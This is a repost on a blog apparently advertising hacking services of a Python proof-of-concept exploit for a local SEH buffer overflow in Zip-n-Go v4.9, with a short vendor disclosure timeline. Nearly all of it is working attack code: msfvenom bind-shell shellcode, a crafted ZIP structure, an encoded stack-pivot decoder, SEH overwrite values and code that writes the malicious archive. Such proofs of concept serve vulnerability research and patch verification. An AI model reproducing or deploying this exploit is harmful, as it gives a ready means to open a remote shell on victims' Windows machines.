Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86372730

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title      : Zip-n-Go v4.9 - Local Buffer Overflow (SEH)                                         #
# Exploit Author     : Hashim Jawad - @ihack4falafel                                                       #
# Vendor Homepage    : http://mc1soft.com/index.shtml                                                      #
# Vulnerable Software: http://mc1soft.com/files/zip-n-go49old.exe                                          #
# Tested on          : Windows 7 Enterprise - SP1 (x86)                                                    #
#----------------------------------------------------------------------------------------------------------#

# Disclosure Timeline:
# ====================
# 05-28-18: Contacted vendor, no response 
# 05-30-18: Contacted vendor again, responded with patch and requested further testing
# 05-30-18: Patch did not seem to fix the problem and alternative approach were suggested
# 05-31-18: Vendor applied new patch and requested further testing
# 05-31-18: The new patch nullified the vulnerability
# 06-03-18: Version 4.95 was released  
# 06-03-18: Proof of concept exploit published

#root@kali:~# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d' -e x86/alpha_mixed BufferRegister=EAX -f python -v shellcode
#Payload size: 710 bytes
shellcode =  ""
shellcode += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x5a\x48\x6e\x62\x43\x30"
shellcode += "\x45\x50\x73\x30\x61\x70\x6d\x59\x7a\x45\x46\x51"
shellcode += "\x39\x50\x72\x44\x4e\x6b\x52\x70\x30\x30\x6c\x4b"
shellcode += "\x52\x72\x56\x6c\x6c\x4b\x73\x62\x37\x64\x4c\x4b"
shellcode += "\x32\x52\x51\x38\x54\x4f\x6f\x47\x31\x5a\x61\x36"
shellcode += "\x50\x31\x79\x6f\x4c\x6c\x35\x6c\x31\x71\x51\x6c"
shellcode += "\x47\x72\x46\x4c\x71\x30\x59\x51\x5a\x6f\x44\x4d"
shellcode += "\x56\x61\x6b\x77\x38\x62\x69\x62\x72\x72\x43\x67"
shellcode += "\x6e\x6b\x43\x62\x32\x30\x6c\x4b\x33\x7a\x55\x6c"
shellcode += "\x6c\x4b\x32\x6c\x34\x51\x34\x38\x6d\x33\x37\x38"
shellcode += "\x57\x71\x4a\x71\x66\x31\x6c\x4b\x42\x79\x51\x30"
shellcode += "\x65\x51\x59\x43\x4c\x4b\x52\x69\x45\x48\x6b\x53"
shellcode += "\x77\x4a\x47\x39\x4e\x6b\x76\x54\x4e\x6b\x46\x61"
shellcode += "\x58\x56\x36\x51\x59\x6f\x6e\x4c\x49\x51\x4a\x6f"
shellcode += "\x76\x6d\x35\x51\x68\x47\x57\x48\x49\x70\x62\x55"
shellcode += "\x48\x76\x56\x63\x31\x6d\x4a\x58\x55\x6b\x73\x4d"
shellcode += "\x35\x74\x33\x45\x4b\x54\x52\x78\x6c\x4b\x46\x38"
shellcode += "\x51\x34\x56\x61\x59\x43\x33\x56\x6c\x4b\x76\x6c"
shellcode += "\x50\x4b\x4e\x6b\x46\x38\x75\x4c\x67\x71\x68\x53"
shellcode += "\x6c\x4b\x34\x44\x4e\x6b\x47\x71\x78\x50\x4b\x39"
shellcode += "\x47\x34\x57\x54\x55\x74\x33\x6b\x33\x6b\x55\x31"
shellcode += "\x31\x49\x50\x5a\x42\x71\x4b\x4f\x4b\x50\x31\x4f"
shellcode += "\x31\x4f\x72\x7a\x4c\x4b\x54\x52\x6a\x4b\x6c\x4d"
shellcode += "\x31\x4d\x62\x48\x46\x53\x50\x32\x77\x70\x43\x30"
shellcode += "\x72\x48\x70\x77\x30\x73\x35\x62\x43\x6f\x50\x54"
shellcode += "\x70\x68\x72\x6c\x71\x67\x67\x56\x47\x77\x49\x6f"
shellcode += "\x68\x55\x6e\x58\x4c\x50\x43\x31\x45\x50\x53\x30"
shellcode += "\x46\x49\x78\x44\x33\x64\x62\x70\x50\x68\x76\x49"
shellcode += "\x4f\x70\x42\x4b\x43\x30\x69\x6f\x69\x45\x73\x5a"
shellcode += "\x67\x78\x31\x49\x42\x70\x6a\x42\x59\x6d\x71\x50"
shellcode += "\x32\x70\x73\x70\x36\x30\x70\x68\x78\x6a\x36\x6f"
shellcode += "\x69\x4f\x6d\x30\x6b\x4f\x69\x45\x4f\x67\x63\x58"
shellcode += "\x47\x72\x47\x70\x36\x71\x31\x4c\x6c\x49\x59\x76"
shellcode += "\x70\x6a\x74\x50\x31\x46\x61\x47\x45\x38\x4f\x32"
shellcode += "\x69\x4b\x54\x77\x35\x37\x79\x6f\x6a\x75\x66\x37"
shellcode += "\x51\x78\x4d\x67\x39\x79\x37\x48\x59\x6f\x39\x6f"
shellcode += "\x6a\x75\x62\x77\x61\x78\x43\x44\x68\x6c\x37\x4b"
shellcode += "\x68\x61\x69\x6f\x4a\x75\x70\x57\x5a\x37\x52\x48"
shellcode += "\x74\x35\x32\x4e\x52\x6d\x45\x31\x39\x6f\x4a\x75"
shellcode += "\x71\x78\x71\x73\x30\x6d\x32\x44\x65\x50\x4f\x79"
shellcode += "\x69\x73\x36\x37\x32\x77\x36\x37\x70\x31\x7a\x56"
shellcode += "\x51\x7a\x56\x72\x53\x69\x36\x36\x7a\x42\x49\x6d"
shellcode += "\x43\x56\x78\x47\x33\x74\x31\x34\x37\x4c\x67\x71"
shellcode += "\x46\x61\x6e\x6d\x53\x74\x34\x64\x62\x30\x6a\x66"
shellcode += "\x65\x50\x71\x54\x66\x34\x52\x70\x72\x76\x36\x36"
shellcode += "\x32\x76\x31\x56\x70\x56\x30\x4e\x53\x66\x52\x76"
shellcode += "\x31\x43\x32\x76\x52\x48\x64\x39\x38\x4c\x65\x6f"
shellcode += "\x4f\x76\x49\x6f\x78\x55\x4b\x39\x49\x70\x50\x4e"
shellcode += "\x53\x66\x31\x56\x79\x6f\x34\x70\x50\x68\x65\x58"
shellcode += "\x4e\x67\x57\x6d\x63\x50\x79\x6f\x38\x55\x4d\x6b"
shellcode += "\x68\x70\x78\x35\x6d\x72\x62\x76\x72\x48\x6d\x76"
shellcode += "\x4d\x45\x6f\x4d\x4f\x6d\x39\x6f\x4b\x65\x37\x4c"
shellcode += "\x77\x76\x71\x6c\x46\x6a\x6f\x70\x39\x6b\x4d\x30"
shellcode += "\x74\x35\x33\x35\x6f\x4b\x61\x57\x77\x63\x52\x52"
shellcode += "\x50\x6f\x32\x4a\x73\x30\x32\x73\x6b\x4f\x78\x55"
shellcode += "\x41\x41"

####################### ZIP File Structure ######################## 
###################################################################
######################## Local File Header ########################
LocalFileHeader  = '\x50\x4b\x03\x04' # local file header signature
LocalFileHeader += '\x14\x00'         # version needed to extract 0x14 = 20 -> 2.0
LocalFileHeader += '\x00\x00'         # general purpose bit flag
LocalFileHeader += '\x00\x00'         # compression method
LocalFileHeader += '\xb7\xac'         # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23
LocalFileHeader += '\xce\x34'         # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3
LocalFileHeader += '\x00\x00\x00'     # CRC-32 '\x00' was left out to make sure we hit 25 bytes before file length
LocalFileHeader += '\x00\x00\x00\x00' # compressed size
LocalFileHeader += '\x00\x00\x00\x00' # uncompressed size
LocalFileHeader += '\xe4\x0f'         # file name length 0x0fe4 = 4068 bytes 
LocalFileHeader += '\x00\x00'         # extra field length
LocalFileHeader += '\x00'             # file name
#LocalFileHeader += '\x00'             # extra filed 
################## Central Directory File Header ##################
CDFileHeader     = '\x50\x4b\x01\x02' # cd file header signature 
CDFileHeader    += '\x14\x00'         # version made by 0x14 = 20 -> 2.0
CDFileHeader    += '\x14\x00'         # version needed to extract 0x14 = 20 -> 2.0
CDFileHeader    += '\x00\x00'         # general purpose bit flag
CDFileHeader    += '\x00\x00'         # compression method 
CDFileHeader    += '\xb7\xac'         # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23
CDFileHeader    += '\xce\x34'         # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3
CDFileHeader    += '\x00\x00\x00\x00' # CRC-32
CDFileHeader    += '\x00\x00\x00\x00' # compressed size
CDFileHeader    += '\x00\x00\x00\x00' # uncompressed size
CDFileHeader    += '\xe4\x0f'         # file name length 0x0fe4 = 4068 bytes
CDFileHeader    += '\x00\x00'         # extra field length
CDFileHeader    += '\x00\x00'         # file comment length 
CDFileHeader    += '\x00\x00'         # disk number where file starts
CDFileHeader    += '\x01\x00'         # internal file attributes BIT 0: apparent ASCII/text file
CDFileHeader    += '\x24\x00\x00\x00' # external file attributes 
CDFileHeader    += '\x00\x00\x00\x00' # relative offset of local file header
#CDFileHeader    += '\x00'             # file name
#CDFileHeader    += '\x00'             # extra field 
#CDFileHeader    += '\x00'             # file comment 
################ End of Central Directory Record ##################
EOCDRHeader      = '\x50\x4b\x05\x06' # End of central directory signature
EOCDRHeader     += '\x00\x00'         # number of this disk 
EOCDRHeader     += '\x00\x00'         # disk where central directory starts 
EOCDRHeader     += '\x01\x00'         # number of central directory records on this disk 
EOCDRHeader     += '\x01\x00'         # total number of central directory records 
EOCDRHeader     += '\x12\x10\x00\x00' # size of central directory 0x1012 = 4114 bytes
EOCDRHeader     += '\x02\x10\x00\x00' # offset of start of central directory, relative to start of archive 
EOCDRHeader     += '\x00\x00'         # comment length 
#EOCDRHeader     += '\x00'             # comment 
 
Witchcraft  = '\x54'                      # PUSH ESP          * save stack pointer
Witchcraft += '\x5F'                      # POP EDI
Witchcraft += '\x54'                      # PUSH ESP          * calculate offset for decoder  
Witchcraft += '\x58'                      # POP EAX
Witchcraft += '\x05\x11\x21\x11\x11'      # ADD EAX,11112111
Witchcraft += '\x05\x11\x21\x11\x11'      # ADD EAX,11112111
Witchcraft += '\x2D\x53\x25\x22\x22'      # SUB EAX,22222553
Witchcraft += '\x50'                      # PUSH EAX
Witchcraft += '\x5C'                      # POP ESP

#https://github.com/ihack4falafel/Slink
#root@kali:/opt/Slink# python Slink.py                        * decode the following 'nop;mov esp, edi;mov eax, edi;add eax, 58c;jmp eax'
#Enter your shellcode: 9089FC89F8058C050000FFE0
#[+] Shellcode size is divisible by 4
#[+] Encoding [e0ff0000]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x11\x11\x77\x61" ## add  eax, 0x61771111
Witchcraft += "\x05\x11\x11\x66\x51" ## add  eax, 0x51661111
Witchcraft += "\x05\x11\x11\x55\x61" ## add  eax, 0x61551111
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax
#[+] Encoding [058c05f8]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x74\x13\x46\x13" ## add  eax, 0x13461374
Witchcraft += "\x05\x64\x13\x45\x13" ## add  eax, 0x13451364
Witchcraft += "\x05\x53\x12\x34\x12" ## add  eax, 0x12341253
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax
#[+] Encoding [89fc8990]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x41\x44\x76\x44" ## add  eax, 0x44764441
Witchcraft += "\x05\x41\x44\x65\x44" ## add  eax, 0x44654441
Witchcraft += "\x05\x41\x34\x54\x34" ## add  eax, 0x34543441
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax

Evil  = '\x41' * 3066                     # offset to shellcode 
Evil += shellcode                         # bind shell  
Evil += '\x43' * (716-len(shellcode))     # shellcode host
Evil += Witchcraft                        # magic! 
Evil += '\x42' * (126-len(Witchcraft))    # witchcraft host
Evil += '\x74\x80\x75\x80'                # nSEH - short jump backward (jump net)
Evil += '\x6e\x4c\x40\x00'                # SEH  - pop ecx, pop ebp, retn in zip-n-go.exe 
Evil += '\x41' * (4064-3908-4-4)
Evil += '.txt'

buffer  = LocalFileHeader
buffer += Evil
buffer += CDFileHeader
buffer += Evil
buffer += EOCDRHeader  

try:
	f=open("Evil.zip","w")
	print "[+] Creating %s bytes evil payload.." %len(Evil)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except Exception as e:
	print e